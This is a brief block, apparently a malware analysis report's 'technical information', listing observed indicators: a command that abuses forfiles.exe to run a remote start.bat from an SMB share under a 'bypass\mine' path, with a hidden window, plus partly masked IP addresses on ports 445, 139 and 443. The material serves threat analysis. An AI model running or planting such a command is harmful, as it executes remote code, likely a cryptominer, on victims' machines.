Техническая информация
- '<SYSTEM32>\forfiles.exe' /p <SYSTEM32> /m notepad.exe /c \\18#.#13.208.245\bypass\mine\start.bat
- '18#.#13.208.245':445
- '18#.#13.208.245':139
- '34.##9.100.209':443
- '<SYSTEM32>\forfiles.exe' /p <SYSTEM32> /m notepad.exe /c \\18#.#13.208.245\bypass\mine\start.bat (со скрытым окном)